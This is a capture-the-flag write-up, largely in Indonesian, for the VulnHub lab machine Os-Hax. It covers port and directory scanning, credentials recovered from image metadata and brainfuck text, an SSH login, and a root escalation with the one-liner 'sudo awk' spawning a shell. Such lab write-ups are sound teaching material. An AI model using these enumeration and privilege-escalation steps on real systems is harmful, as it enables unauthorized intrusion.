[VulnHub] Os-Hax WriteUp
For English version of this write-up, click here.
Setup
Edit file /etc/hosts
menjadi seperti dibawah agar static web mesin bisa berjalan.
#127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
#::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
<IP_mesin> localhost
Untuk mencari IP mesin bisa dengan menggunakan nmap
atau netdiscover
Information Gathering
nmap
nmap -sV -sC -p- localhost -oN initial.nmap -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 43:0e:61:74:5a:cc:e1:6b:72:39:b2:93:4e:e3:d0:81 (RSA)
| 256 43:97:64:12:1d:eb:f1:e9:8c:d1:41:6d:ed:a4:5e:9c (ECDSA)
|_ 256 e6:3a:13:8a:77:84:be:08:57:d2:36:8a:18:c9:09:d6 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 5ECF6AFD7D00CCBE6B3C7AA8FD31BDE8
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Hacker_James
MAC Address: 08:00:27:E2:E3:E2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirb
dirb http://localhost /usr/share/wordlists/dirb/common.txt
---- Scanning URL: http://localhost/ ----
==> DIRECTORY: http://localhost/css/
==> DIRECTORY: http://localhost/html/
==> DIRECTORY: http://localhost/img/
+ http://localhost/index.html (CODE:200|SIZE:3135)
==> DIRECTORY: http://localhost/js/
+ http://localhost/server-status (CODE:403|SIZE:274)
==> DIRECTORY: http://localhost/wordpress/
wpscan
Karena server menjalankan wordpress maka kita bisa coba cari celah wordpress dengan wpscan
.
wpcan --url http://localhost/wordpress/
Namun dari hasil scan dgn menggunakan wpscan
tidak ditemukan hal yang menarik, server pake wordpress versi terbaru, tema bawaan, dan no plugin.
Kembali ke laptop dirb
, buka direktori /img
Ada file menarik yaitu flaghost.png
, download file tsb lalu examine dengan exiftool
.
exiftool
Exiftool adalah software open-source berbasis perl untuk membaca, mengedit, dan memanipulasi metadata dari berbagai macam tipe file. exiftool.org
Metadata is “data that provides information about other data”. In other words, it is “data about data.wikipedia.org
Pixels Per Unit X : 3780
Pixels Per Unit Y : 3780
Pixel Units : meters
Make : passw@45
Image Size : 387x98
Megapixels : 0.038
ada string passw@45
di meta Make
. Note: sebelum menggunakan exiftool
bisa coba pakai command strings
terlebih dahulu untuk mengecek apakah ada string yang disematkan ke file gambar tsb.
Kira-kira apakah teks passw@45
tersebut ? kalo password login ssh dimana usernamenya?, lalu coba ekstrak string dari gambar lain di direktori /img
tapi ternyata zonk .
Lalu entah dapet ilham darimana saya coba untuk masukin teks tersebut ke url bar dan ternyata itu clue direktori .
Nah di dalam direktori tersebut ada file flag2.txt
dg bahasa brainfuck.
i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]
>--.- --.<+ +++++ [->-- ----< ]>--- -.<++ +[->+ ++<]> +++++ .<+++ ++[->
+++++ <]>.+ +.+++ +++++ .---- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->---
----< ]>-.< +++[- >---< ]>--- .+.-- --.++ +.<
Brainfuck is an esoteric programming language created in 1993 by Urban Müller, and is notable for its extreme minimalism. The language consists of only eight simple commands and an instruction pointer. (wikipedia.org)[https://en.wikipedia.org/wiki/Brainfuck]
Next copas isi flag2.txt
ke brainfuck interpreter macam (copy.sh
)[https://copy.sh/brainfuck/]. Jalankan, dan kita dapat outputnya.. web:Hacker@4514
Exploitation
User Flag
ssh
dengan username dan password diatas lalu kita dapat flag user.
web@jax:~$ id
uid=1001(web) gid=1000(uname-a) groups=1000(uname-a)
web@jax:~$ ls
flag3.txt
web@jax:~$ cat flag3.txt
______ ______ ____ __
/ ____/____ /_ __/____ / __ \ ____ ____ / /_
/ / __ / __ \ / / / __ \ / /_/ // __ \ / __ \ / __/
/ /_/ // /_/ / / / / /_/ / / _, _// /_/ // /_/ // /_
\____/ \____/ /_/ \____/ /_/ |_| \____/ \____/ \__/
MD5-HASH : 40740735d446c27cd551f890030f7c75
Next adalah dengan menjalankan linenum.sh di direktori /tmp
.
[+] We can sudo without supplying a password!
Matching Defaults entries for web on jax:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User web may run the following commands on jax:
(root) NOPASSWD: /usr/bin/awk
[+] Possible sudo pwnage!
/usr/bin/awk
Dari hasil enumerasi diatas kita menemukan entri sudoers
yang memungkinkan kita (user web
) untuk menjalankan perintah awk
secara sudo
tanpa perlu memasukkan password.
Hal itu dapat ditunjukkan dengan membuka ‘/etc/sudoers’ dan melihat user privilege specification untuk user web
.
web ALL= (root) NOPASSWD: /usr/bin/awk
Nah berhubung saya gak paham cara penggunaan awk
, site gtfobins menjadi penyelamat.
sudo awk 'BEGIN {system("/bin/sh")}'
Dan kita dapat akses root
Referensi:
https://linux.die.net/man/5/sudoers
https://gtfobins.github.io